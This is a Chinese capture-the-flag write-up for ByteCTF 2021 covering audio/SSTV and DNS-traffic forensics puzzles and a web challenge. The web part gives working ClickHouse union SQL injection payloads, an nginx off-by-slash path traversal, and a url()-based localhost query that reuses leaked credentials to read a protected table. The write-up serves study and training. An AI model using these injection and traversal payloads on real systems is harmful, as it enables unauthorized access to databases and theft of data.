2021安全范儿高校挑战赛ByteCTF线上赛部分Writeup

Posted 2022-01-21 末 初

文章目录

• MISC-Checkin
• MISC-Survey
• MISC-HearingNotBelieving
• MISC-frequently
• WEB-double sqli

---

MISC题目附件自取
链接：https://pan.baidu.com/s/1Fdgdz07eIptzzW4ZFWfwWg 
提取码：vujm

MISC-Checkin

ByteCTFEmpower_Security_Enrich_Life

MISC-Survey

ByteCTFh0p3_y0u_Enjoy_our_ch4ll3n9es!

MISC-HearingNotBelieving

hearing.wav使用Audacity打开，查看频谱图在开头发现二维码碎片

截图，用PS拼接，然后转黑白

后面的听的出是SSTV

QSSTV转换，注意勾选上Auto Slant(不勾选转换出来的图片有绿边影响)以及Auto Save


QSSTV会将这些图片存储在/home/用户名/qsstv/rx_sstv/下，montage连起来发现gaps拼不出来；直接PS手拼

然后用PS调了很久颜色也没能扫出来，没办法只能用最笨的办法了，一个一个填

• QRazyBox：https://merricx.github.io/qrazybox/

ByteCTFm4yB3_U_kn0W_S57V

MISC-frequently

frequently.pcap
DNS流量为主，追踪UDP流量时发现第一个流：udp.stream eq 1，每部分只有这个位置变了，存在部分flag，

se1f_wIth_m1sc^_^

继续分析DNS包，发现以源IP10.2.173.238向目标IP8.8.8.8发送长度为84的包中Queries->Name字段中有一部分base64

dns and ip.src==10.2.173.238 and ip.dst==8.8.8.8 and dns.qry.name.len==24

解压了前面一部分发现时PNG头，Tshark提取；需要注意的是有些部分重复了，重复的包dns.id字段的值是相同的

PS：字段名称可以通过选中该字段，右键->复制->字段名称，复制出该字段的名称，用于过滤器命令使用

Tshark提取，然后利用Python去重、转PNG简单处理即可

tshark -r frequently.pcap -T fields -Y "dns and ip.src==10.2.173.238 and ip.dst==8.8.8.8 and dns.qry.name.len==24" -e dns.qry.name -e dns.id > data.txt

from base64 import *


with open('data.txt', 'r') as f:
	lines = f.readlines()
	sorted_lines = sorted(set(lines), key=lines.index)
	base64_data = ''
	for line in sorted_lines:
		base64_data += line[:10]
	with open('flag.png', 'wb') as f1:
		f1.write(b64decode(base64_data))

得到的图片也没有flag信息，继续分析；发现以源IP10.2.173.238向目标IP8.8.8.8发送长度为75的包中Queries->Name字段值要么是o.bytedanec.top要么是i.bytedanec.top，猜测二进制数据转字符

Tshark提取，然后Python简单处理即可，注意也需要去重

tshark -r frequently.pcap -T fields -Y "dns and ip.src==10.2.173.238 and ip.dst==8.8.8.8 and dns.qry.name.len==15" -e dns.qry.name -e dns.id > bin_data.txt

with open("bin_data.txt", 'r') as f:
	lines = f.readlines()
	sorted_list = sorted(set(lines), key=lines.index)
	bin_data = ''
	for line in sorted_list:
		if line[:1] == 'o':
			bin_data += '0'
		elif line[:1] == 'i':
			bin_data += '1'
		else:
			print(line)
			break
	flag = ''
	for idx in range(0, len(bin_data), 8):
		flag += chr(int(bin_data[idx:idx+8], 2))
	print(flag)

PS C:\\Users\\Administrator\\Downloads> python .\\code.py
The first part of flag: ByteCTF^_^enJ0y&y0ur

最终flag拼接起来即为：

ByteCTF^_^enJ0y&y0urse1f_wIth_m1sc^_^

WEB-double sqli

随便加个单引号报错，从报错信息中得知数据库是clickhouse

Clickhouse官方文档(中文)：https://clickhouse.com/docs/zh/

Clickhouse本地测试环境搭建：https://blog.csdn.net/zhangpeterx/article/details/94859999

测试注入点：

/?id=1 union all select 'mochu7'

查版本

/?id=1 union all select version()

查数据库
Clickhouse自带了两个库：default、system
default库默认是空的，重要的是system库，类似mysql中的information_schema库，存放了很多数据库系统信息

/?id=1 union all select name from system.databases

查询到的数据库：default、ctf
接着查表

/?id=1 union all select name from system.tables where database='ctf'

/?id=1 union all select name from system.tables where database='default'

查字段

/?id=1 union all select name from system.columns where table='hello'

/?id=1 union all select name from system.columns where table='hint'

查数据内容

/?id=1 union all select ByteCTF from default.hello

/?id=1 union all select id from ctf.hint

提示是没有权限得到flag，根据提示尝试查flag表

/?id=1 union all select * from ctf.flag

发现没有权限访问，但是可以知道存在ctf.flag这张表；需要获得更高的权限
继续分析
?id=0发现一个链接，存在指定目录可浏览

且是Web服务器是nginx

联想到了Nginx经典配置的其中之一：off-by-slash配置错误

• 五个常见的Nginx配置错误

http://39.105.175.150:30001/files../

造成目录浏览，发现了源码

main.py

from flask import Flask
import clickhouse_driver
from flask import request
app = Flask(__name__)

client = clickhouse_driver.Client(host='127.0.0.1', port='9000', database='default', user='user_02', password='e4649b934ca495991b78')

@app.route('/')
def cttttf():
    id = request.args.get('id',0)
    sql = 'select ByteCTF from hello where 1= '.format(id)
    try:
        a = client.execute(sql)
    except Exception as e:
        return str(e)
    if len(a) == 0:
        return '<a href="/files/test.jpg">something in files</a>'
    else:
        return str(a)[3:-4]

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=80)

得到一个用户和密码：user_02/e4649b934ca495991b78
那么接下来就要想办法获取更高的权限用户

• ClickHouse学习系列之六【访问权限和账户管理】

得到存储账户的文件位置：/var/lib/clickhouse/access

3349ea06-b1c1-514f-e1e9-c8d6e8080f89.sql

ATTACH USER user_01 IDENTIFIED WITH plaintext_password BY 'e3b0c44298fc1c149afb';
ATTACH GRANT SELECT ON ctf.* TO user_01;

得到了账户密码user_01/e3b0c44298fc1c149afb
接下来就是想办法登录这个账户，细心的翻一下官方文档

• https://clickhouse.com/docs/zh/interfaces/http/#predefined_http_interface
• https://clickhouse.com/docs/zh/sql-reference/table-functions/url/

即可构造

>>> from urllib.parse import *
>>> quote("1 UNION ALL select * from url('http://localhost:8123/?query=select+*+from+ctf.flag&user=user_01&password=e3b0c44298fc1c149afb','CSV','column1 String')")
'1%20UNION%20ALL%20select%20%2A%20from%20url%28%27http%3A//localhost%3A8123/%3Fquery%3Dselect%2B%2A%2Bfrom%2Bctf.flag%26user%3Duser_01%26password%3De3b0c44298fc1c149afb%27%2C%27CSV%27%2C%27column1%20String%27%29'

/?id=1%20UNION%20ALL%20select%20%2A%20from%20url%28%27http%3A//localhost%3A8123/%3Fquery%3Dselect%2B%2A%2Bfrom%2Bctf.flag%26user%3Duser_01%26password%3De3b0c44298fc1c149afb%27%2C%27CSV%27%2C%27column1%20String%27%29